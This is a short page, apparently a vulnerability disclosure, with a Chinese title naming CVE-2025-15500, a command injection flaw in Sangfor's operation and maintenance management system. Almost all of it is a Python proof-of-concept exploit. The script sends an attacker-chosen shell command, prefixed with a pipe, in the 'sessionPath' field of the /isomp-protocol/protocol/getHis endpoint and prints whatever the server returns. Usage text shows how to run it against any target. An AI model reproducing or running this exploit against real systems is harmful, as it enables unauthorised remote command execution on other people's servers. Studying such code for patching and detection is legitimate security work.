CVE-2025-15500 深信服运维管理系统命令注入漏洞

import requests import sys # CVE-2025-15500 PoC - Sangfor Operation and Maintenance Management System Command Injection # Target: /isomp-protocol/protocol/getHis def exploit(target_url, cmd): """ Exploit CVE-2025-15500: OS Command Injection in Sangfor O&M System Args: target_url: Target server URL (e.g., http://target.com) cmd: Command to execute on the target system """ endpoint = f"{target_url}/isomp-protocol/protocol/getHis" # Payload construction using command injection characters # Using pipe character to chain commands payload = f"| {cmd}" data = { "sessionPath": payload } try: response = requests.post(endpoint, data=data, timeout=10, verify=False) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <command>") print(f"Example: python {sys.argv[0]} http://192.168.1.100 'whoami'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] exploit(target, command)